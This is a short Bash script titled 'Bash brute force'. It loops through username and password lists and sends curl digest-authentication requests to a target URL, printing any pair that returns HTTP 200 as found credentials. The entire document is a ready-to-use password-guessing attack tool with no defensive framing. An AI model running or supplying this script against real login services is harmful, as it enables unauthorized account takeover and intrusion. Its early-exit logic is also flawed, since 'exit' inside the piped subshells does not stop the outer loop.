Bash brute force

#!/bin/bash

# Check if sufficient arguments are provided
if [ $# -ne 3 ]; then
  echo "Usage: $0 <user_list> <password_list> <target_url>"
  exit 1
fi

# Read usernames from the first file
cat $1 | while read USER; do
  # Read passwords from the second file
  cat $2 | while read PASSWORD; do

    # Send the request with cURL
    HTTP_RESPONSE=$(curl -s -w "%{http_code}" -o /dev/null $3 -c /tmp/cookie --digest -u $USER:$PASSWORD)

    # Check if the response code is 200 (OK) or any other indicator of success
    if [ "$HTTP_RESPONSE" -eq 200 ]; then
      echo "[+] Found valid credentials: $USER:$PASSWORD"
      exit 0  # Exit as soon as valid credentials are found
    elif [ "$HTTP_RESPONSE" -ne 401 ]; then
      echo "[!] Unexpected response code: $HTTP_RESPONSE"
    fi

  done
done